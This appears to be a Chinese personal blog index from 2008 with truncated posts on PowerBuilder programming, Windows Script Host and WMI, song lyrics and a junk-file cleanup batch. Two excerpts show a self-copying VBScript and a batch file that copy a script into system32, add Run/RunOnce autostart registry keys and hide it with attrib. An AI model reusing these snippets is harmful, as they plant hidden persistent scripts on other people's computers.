2008年07月11日 星期五 15:59
数据录入窗口有很多公用程序,这里进行简单总结,然后读者可以考虑使用继承、用户对象等方式将这些公用内容封装起来,以便以后的开发中重用,从而提高软件的开发效率。公用程序总结以下几点:
1、插入
通常提供一个命令按钮,在按钮的Clicked事件中编写如下脚本:
dw_1.ScrollToRow(dw_1.InsertRow(0))
2、删除
通常提供一个命令按钮,在按钮的Clicked事件中编写如下脚本:
integer li_flag
long ll_CurRow
|
2008年07月11日 星期五 15:47
和数据窗口控件打交道都是通过编辑控件进行的。在数据窗口中录入数据、修改数据,实际上是在修改单元上的编辑控件中的内容。当编辑控件移动到另外单元上之前,要对编辑控件中的数据进行校验,如果能通过字段的校验规则,就保存到字段中。编辑控件是可以移动的,需要编辑哪个单元,编辑控件就移动到哪个单元上,接受输入或者修改。
对于熟悉Microsoft Excel的人来说,编辑控件可以看成是Excel网格中的单元格。当用户在一个单元格中输入一个公式,它不会被接受和计算,直到用户移到其他单元格时才进行公 |
2008年07月11日 星期五 15:30
PowerBuilder提供了4个指代词,它们是This,Parent,ParentWindow,Super,可以代替对象名称来引用对象,从而增强程序的可移植性。例如,假设在窗口w_main中,按键“退出”的Clicked事件上有语句Close(w_main),可以关闭窗口w_main,当窗口名称改变时,必须修改该语句才能正确执行;使用指代词就不同了,Close(parent)可以在窗口名称发生变化时仍然能够正确执行,并且该控件拷贝到其他窗口中不加修改仍然可以正确使用。
指代词根据脚本所在对象周围环境的不同而指代不同的对象。比如,在窗 |
2008年07月09日 星期三 15:59
Set objShell = WScript.CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set ie=WScript.CreateObject("InternetExplorer.Application")
strPath = Wscript.ScriptFullName
objFSO.CopyFile strPath,"C:\WINDOWS\system32\" '复制文件
objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\ie.vbs", "C:\WINDOWS\system32\ie.vbs", "REG_SZ" '载入启 |
2008年07月05日 星期六 16:25
许茹芸-美梦成真
作词:许常德
作曲:潘协庆
编曲:屠颖
我能感觉
我像只麋鹿奔驰思念的深夜
停在你心岸啜饮失眠的湖水
苦苦想你习惯不睡
为躲开寂寞的狩猎
我的感觉
像小说忽然写到结局那一页
我不愿承认缘份已肠思枯竭
逼迫自己时光倒回
要美梦永远远离心碎
我抱着你我吻着你我笑着流泪
我不懂回忆能如此真切
你又在我的眼眶决堤淹水
爱不是离别可以抹灭
我除了你我除了疯我没有后悔 |
2008年06月28日 星期六 17:30
@ ECHO OFF
@ ECHO 朋友,精彩的在后头
copy /y "ie.vbs" "C:\WINDOWS\system32\ie.vbs"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ie.vbs /d C:\WINDOWS\system32\ie.vbs
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /v ie.vbs /d C:\WINDOWS\system32\ie.vbs
start C:\WINDOWS\system32\ie.vbs
attrib +h C:\WINDOWS\system32\ie.vbs
@ ECHO 谢谢 朋友的帮忙 联系qq:274105051
PAUSE
今 |
2008年06月28日 星期六 17:04
@echo off
echo 正在清理系统垃圾文件,请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %us |
2008年06月28日 星期六 14:17
2008年06月28日 星期六 13:50
2008年06月27日 星期五 10:56
Scheduling the Running of Scripts
Microsoft® Windows® 2000 Scripting Guide
Tasks that you script often need to be done repeatedly according to a prescribed schedule. You can use the Windows 2000 Task Scheduler or At.exe to schedule the running of these scripts. The scripts still run under one of the script hosts, but they run at the designated times without your interaction.
The ability to run scripts without t |
2008年06月27日 星期五 10:28
Script Hosts
The script host initiates and coordinates the running of your script; it reads your script file and interacts with components of the WSH environment and any COM objects required by the script. It is also the responsibility of the script host to determine which language engine to use when running the script. For example, if the script has a .vbs extension, the script host will load the VBScript language engine and begin working with that engine to execute the code.
|
2008年06月27日 星期五 09:44
WSH vs. Cmd.exe
At this point, it might be useful to briefly compare WSH and Cmd.exe, the command-line interpreter found in Windows. Both are scripting environments: WSH allows you to run WSH scripts; Cmd.exe allows you to run batch files (sometimes referred to as shell scripts). Both WSH and Cmd.exe require interaction with scripting languages and scripting tools: It is difficult to write useful scripts with nothing more than WSH, and it is difficult to write useful batch file |
2008年06月26日 星期四 19:29
图 1 是 WSH 的内置对象构成情况。
从图中我们可以看出,WSH 共有 14 个内置对象,它们各自有着明确分工。具体而言,位于最底部的 Wscript ,主要作用是提取命令行变量,确定脚本文件名,确定 WSH 执行文件名(wscript.exe 还是 cscript.exe),确认 host 版本信息,创建、关连
|
2008年06月26日 星期四 17:06
2008年06月26日 星期四 16:29
现在,您对可用于浏览和查看 CIM 的工具已经有了一些认识,让我们使用 WMI 测试器 (wbemtest.exe) 来检查 Win32_Process 类定义并修改清单 2,以便从在您的本地计算机上运行的进程检索一些属性。
-
打开一个命令提示,键入 C:\>wbemtest.exe,按下 Enter 来开始 WMI 测试器工具。请注意,大部分按钮在主 WMI 测试器窗口上是被禁用的,这说明此时您没有连接到 WMI。
-
单击 Connect? 连接到本地或远程计算 |
|
|
ugly927846
男, 23岁
浙江 嘉兴
上次登录: 9小时前
加为好友
|